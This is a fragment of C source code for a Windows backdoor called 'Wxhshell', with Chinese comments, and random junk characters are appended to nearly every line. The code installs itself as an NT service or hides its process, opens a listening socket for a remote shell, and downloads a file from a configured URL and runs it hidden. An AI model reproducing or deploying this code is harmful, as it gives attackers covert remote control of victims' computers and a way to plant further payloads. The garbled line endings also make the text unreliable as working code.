ULONG UniqueProcessId; Qrv<lE1V;
ULONG InheritedFromUniqueProcessId; .}t
e>]A*
} PROCESS_BASIC_INFORMATION; v19-./H^
j
Xvv6~
PROCNTQSIP NtQueryInformationProcess; H\
% 7%
I]575\bA
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _t$sgz&
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <%d>v-=B
}C:r9?T
HANDLE hProcess; H|*m$|$,
PROCESS_BASIC_INFORMATION pbi; Q8NX)R
XSDpRo
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CAJ'zA|o
if(NULL == hInst ) return 0; EPm/r
*|0 -~u%q
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +0&/g&a\R
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); PsYpxNr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess");
2iOV/=+
UZMd~|
if (!NtQueryInformationProcess) return 0; \zkg
Wri<h:1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 8Wx=p#_
if(!hProcess) return 0; %{|p j
+
&HW9Jn
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tc! #wd+u
NOva'qk
CloseHandle(hProcess); 0;k# *#w
siI;"?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); KPF1cJ2N
if(hProcess==NULL) return 0; az$FnVNn=
]DcFySyv
HMODULE hMod; RP"kC4~1
char procName[255]; s_Sk0}e
unsigned long cbNeeded; Dtk=[;"k2a
CZ;6@{ o
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )e{aN+
(zk"~Ud
CloseHandle(hProcess); }7Uoh(d
^!d3=}:0
if(strstr(procName,"services")) return 1; // 以服务启动 @dKTx#gZ
'DR!9De
return 0; // 注册表启动 ^[[P*NX3
} 4dlGxat
OXA7w.^
// 主模块 dN q$}
int StartWxhshell(LPSTR lpCmdLine) V0@=^Bls
{ .Mbz3;i0
SOCKET wsl; COlqcq'qAu
BOOL val=TRUE; 9;{CIMg&
int port=0; -RwE%cr
struct sockaddr_in door; sRs>"zAg
4s-!7
if(wscfg.ws_autoins) Install(); ye&;(30Oq
T)/eeZ$
port=atoi(lpCmdLine); FrS]|=LJhX
^q5#ihM
if(port<=0) port=wscfg.ws_port; !L(^(;$Kgr
';CNGv -
WSADATA data; pBHRa?Y5
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; %b$>qW\*&
us-L]S+lm
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 04ui`-c(
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (.:e,l{U%
door.sin_family = AF_INET; XFl6M~ c
door.sin_addr.s_addr = inet_addr("127.0.0.1"); E GU2fA7x
door.sin_port = htons(port); (PLUFT
j2k"cmsKh
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { P.cyO3l
closesocket(wsl); {7[Ox<Ho
return 1; )=+|i3]U
} f*Hr^b}`8
`5*}p#G
if(listen(wsl,2) == INVALID_SOCKET) { 1MFbQs^
closesocket(wsl); VY-EmbkG-t
return 1; m67V_s,7B
} #!=tDc
&
Wxhshell(wsl); /vt3>d%B;
WSACleanup(); F59 TZI
Qs!5<)6
return 0; ?ub35NLa
P55fL-vo|}
} Xw1*(ffk
y_)FA"IkE
// 以NT服务方式启动 ?6!LL5a.
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) PT
~D",k
{ 6Wn1{v0
DWORD status = 0; bA 2pbjg=
DWORD specificError = 0xfffffff; TeQV?ZQ#}
hH.G#-JO
serviceStatus.dwServiceType = SERVICE_WIN32; ZSw.U:ep$s
serviceStatus.dwCurrentState = SERVICE_START_PENDING; U$g?!Yl0
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c-w)|-ac.
serviceStatus.dwWin32ExitCode = 0; +ZYn? #IQ
serviceStatus.dwServiceSpecificExitCode = 0; ZCw]m#lS
serviceStatus.dwCheckPoint = 0; *p d@.|^)m
serviceStatus.dwWaitHint = 0; |Tw~@kT@
%O<BfIZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f1? >h\F8
if (hServiceStatusHandle==0) return; N`i/mP
#ob/p#k
status = GetLastError(); }JfjX'
if (status!=NO_ERROR) *Ex|9FCt$
{ sLFl!jX
serviceStatus.dwCurrentState = SERVICE_STOPPED; =a!=2VN9y
serviceStatus.dwCheckPoint = 0; iLT}oKF2N;
serviceStatus.dwWaitHint = 0; P>L +t`'
serviceStatus.dwWin32ExitCode = status; 0(Ij%Wi,
serviceStatus.dwServiceSpecificExitCode = specificError; Z)!C'c b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6zkaOA46V
return; 4Hg9N}
} ^8tEach
s{++w5s
serviceStatus.dwCurrentState = SERVICE_RUNNING; ijcm2FJcG
serviceStatus.dwCheckPoint = 0; Ru XC(qcq
serviceStatus.dwWaitHint = 0; v=k$A
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); tkhCw/
} wBzC5T%,
AGno6g
// 处理NT服务事件,比如:启动、停止 p<2,=*2
VOID WINAPI NTServiceHandler(DWORD fdwControl) *I'yH8Fcn
{ U.TA^S]`g
switch(fdwControl) +"(jjxJm
{ CARzO7b\w
case SERVICE_CONTROL_STOP: u>$t'
serviceStatus.dwWin32ExitCode = 0; *VeRVaBl
serviceStatus.dwCurrentState = SERVICE_STOPPED; /=h` L,
serviceStatus.dwCheckPoint = 0; Fi1@MG5$2
serviceStatus.dwWaitHint = 0; r>\bW)e
{ DMS!a$4
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y]imZ4{/
} :EH=_"
return; VX/#1StC
case SERVICE_CONTROL_PAUSE: jal-9NV)!
serviceStatus.dwCurrentState = SERVICE_PAUSED; :LTN!jj
break; 3F0 N^)@
case SERVICE_CONTROL_CONTINUE: |3%8&@ho
serviceStatus.dwCurrentState = SERVICE_RUNNING; $"&JWT!#
break; Tr|JYLwF
case SERVICE_CONTROL_INTERROGATE: .o8t+X'G
break; m68*y;#
}; ':}\4j&{E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wf<LR3
} jIF
|P-
e%6QTg5#
// 标准应用程序主函数 8[>zG2
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) nd(S3rct&
{
9akH
3[&C g
// 获取操作系统版本 8] ikygt"
OsIsNt=GetOsVer(); fQ98(+6
GetModuleFileName(NULL,ExeFile,MAX_PATH); KU;9}!#
7?t6UPf
// 从命令行安装 *qMY22X
if(strpbrk(lpCmdLine,"iI")) Install(); 1sCR4L:+
d\Zng!Z '
// 下载执行文件 f-2c0Bi
if(wscfg.ws_downexe) { " Jr-J#gg
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c)tfAD(N8x
WinExec(wscfg.ws_filenam,SW_HIDE); {e5= &A
} .mAjfP*
c(%|: P^
if(!OsIsNt) { Ev P{p
// 如果时win9x,隐藏进程并且设置为注册表启动 "\=U)CJ
HideProc(); go"Hf_
StartWxhshell(lpCmdLine); 0;ji65
} CP{cAzHO
else Z8oK2Dw
if(StartFromService()) M[uA@
// 以服务方式启动 J$!iq|
StartServiceCtrlDispatcher(DispatchTable); Z)\@i=m
else R$Q.sE
// 普通方式启动 xvy.=(
StartWxhshell(lpCmdLine); E!#WnSpnK
}T$p)"
return 0; _? OG1t!
}